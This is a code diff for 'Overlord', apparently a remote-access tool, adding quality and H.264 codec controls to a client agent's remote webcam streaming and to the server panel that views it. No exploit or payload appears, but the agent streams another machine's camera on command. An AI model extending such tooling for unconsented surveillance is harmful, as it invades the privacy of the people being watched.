diff --git a/Overlord-Client/cmd/agent/capture/webcam_windows.go b/Overlord-Client/cmd/agent/capture/webcam_windows.go index c15221b..1421b83 100644 --- a/Overlord-Client/cmd/agent/capture/webcam_windows.go +++ b/Overlord-Client/cmd/agent/capture/webcam_windows.go @@ -3,8 +3,12 @@ package capture import ( + "bytes" "context" "fmt" + "image" + "image/draw" + "image/jpeg" "log" "sync" "time" @@ -117,12 +121,44 @@ func NowWebcam(ctx context.Context, env *rt.Env) error { return nil } + quality := env.WebcamQuality + codec := env.WebcamCodec + outFormat := format + + if codec == "h264" && format == "jpeg" && h264Available() { + img, err := jpeg.Decode(bytes.NewReader(frameBytes)) + if err == nil { + bounds := img.Bounds() + w, h := bounds.Dx(), bounds.Dy() + if w%2 != 0 || h%2 != 0 { + log.Printf("webcam: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", w, h) + } else { + rgba := toRGBA(img) + if h264Bytes, err := encodeH264Frame(rgba); err == nil && len(h264Bytes) > 0 { + frameBytes = h264Bytes + outFormat = "h264" + } else { + log.Printf("webcam: h264 encode failed, falling back to jpeg: %v", err) + } + } + } + } + + if outFormat == "jpeg" && quality > 0 && quality < 100 { + img, err := jpeg.Decode(bytes.NewReader(frameBytes)) + if err == nil { + if reencoded, err := encodeJPEG(img, quality); err == nil { + frameBytes = reencoded + } + } + } + frame := wire.Frame{ Type: "frame", Header: wire.FrameHeader{ Monitor: deviceIndex, FPS: 0, - Format: format, + Format: outFormat, Webcam: true, }, Data: frameBytes, @@ -296,3 +332,13 @@ func closeWebcamLocked() { } } } + +func toRGBA(img image.Image) *image.RGBA { + if rgba, ok := img.(*image.RGBA); ok { + return rgba + } + b := img.Bounds() + rgba := image.NewRGBA(b) + draw.Draw(rgba, b, img, b.Min, draw.Src) + return rgba +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index e5761fe..41448fe 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1579,6 +1579,35 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in env.WebcamUseMaxFPS = useMax sendCommandResultSafe(env, cmdID, true, "") return nil + case "webcam_set_quality": + payload, _ := envelope["payload"].(map[string]interface{}) + quality := 0 + codec := "" + if payload != nil { + if q, ok := payloadInt(payload, "quality"); ok { + quality = q + } + if v, ok := payload["codec"].(string); ok { + codec = v + } + } + if quality < 0 { + quality = 0 + } + if quality > 100 { + quality = 100 + } + switch codec { + case "jpeg", "h264": + // valid + default: + codec = "jpeg" + } + env.WebcamQuality = quality + env.WebcamCodec = codec + log.Printf("webcam: set quality=%d codec=%s", quality, codec) + sendCommandResultSafe(env, cmdID, true, "") + return nil case "webcam_stop": env.WebcamMu.Lock() log.Printf("webcam: stop requested") diff --git a/Overlord-Client/cmd/agent/runtime/env.go b/Overlord-Client/cmd/agent/runtime/env.go index c451813..be07709 100644 --- a/Overlord-Client/cmd/agent/runtime/env.go +++ b/Overlord-Client/cmd/agent/runtime/env.go @@ -37,6 +37,8 @@ type Env struct { WebcamDeviceIndex int WebcamFPS int WebcamUseMaxFPS bool + WebcamQuality int + WebcamCodec string WebcamCancel context.CancelFunc WebcamDone chan struct{} WebcamMu sync.Mutex diff --git a/Overlord-Server/public/assets/webcam.js b/Overlord-Server/public/assets/webcam.js index bb7ac9e..68d1015 100644 --- a/Overlord-Server/public/assets/webcam.js +++ b/Overlord-Server/public/assets/webcam.js @@ -15,6 +15,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const refreshCameras = document.getElementById("refreshCameras"); const fpsInput = document.getElementById("fpsInput"); const applyFps = document.getElementById("applyFps"); + const qualitySlider = document.getElementById("qualitySlider"); + const qualityValue = document.getElementById("qualityValue"); + const codecH264 = document.getElementById("codecH264"); + const codecMode = document.getElementById("codecMode"); const viewerFps = document.getElementById("viewerFps"); const statusEl = document.getElementById("streamStatus"); const canvas = document.getElementById("frameCanvas"); @@ -34,6 +38,43 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; let hasRenderedFrame = false; let drawPending = false; + const codecPrefKey = "webcamCodecPreferH264"; + let prefersH264 = typeof VideoDecoder === "function"; + + const storedCodecPref = localStorage.getItem(codecPrefKey); + if (storedCodecPref === "0") { + prefersH264 = false; + } else if (storedCodecPref === "1") { + prefersH264 = typeof VideoDecoder === "function"; + } + + if (codecH264) { + codecH264.checked = prefersH264; + codecH264.disabled = typeof VideoDecoder !== "function"; + } + + function setCodecModeLabel(mode, detail) { + if (!codecMode) return; + const suffix = detail ? ` (${detail})` : ""; + codecMode.textContent = `Codec: ${String(mode || "auto").toUpperCase()}${suffix}`; + } + + setCodecModeLabel(prefersH264 ? "h264" : "jpeg", "preferred"); + + function updateQualityLabel(val) { + if (qualityValue) { + qualityValue.textContent = `${val}%`; + } + } + + function pushQuality(val) { + const q = Number(val) || 90; + const codec = prefersH264 ? "h264" : "jpeg"; + console.debug("webcam: pushQuality val=", val, "q=", q, "codec=", codec); + setCodecModeLabel(codec, "requested"); + send("webcam_set_quality", { quality: q, codec }); + } + function buildScreenshotFilename() { const ts = new Date().toISOString().replace(/[:.]/g, "-"); return `webcam-${clientId}-${ts}.jpg`; @@ -336,6 +377,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; ws.onopen = () => { requestCameraList(); applyFpsSettings(); + pushQuality(qualitySlider ? qualitySlider.value : 90); if (desiredStreaming) { send("webcam_start"); setStreamState("starting", "Starting"); @@ -411,6 +453,27 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } }); + if (codecH264) { + codecH264.addEventListener("change", function () { + prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function"; + localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0"); + if (!prefersH264) { + destroyVideoDecoder(); + } + if (qualitySlider) { + pushQuality(qualitySlider.value); + } + }); + } + + if (qualitySlider) { + updateQualityLabel(qualitySlider.value); + qualitySlider.addEventListener("input", function () { + updateQualityLabel(qualitySlider.value); + pushQuality(qualitySlider.value); + }); + } + applyFps.addEventListener("click", () => { applyFpsSettings(); }); diff --git a/Overlord-Server/public/webcam.html b/Overlord-Server/public/webcam.html index 0c6a8fd..e8a2b9e 100644 --- a/Overlord-Server/public/webcam.html +++ b/Overlord-Server/public/webcam.html @@ -52,6 +52,29 @@ Apply +
+ + + 90% +
+
+ + Codec: auto +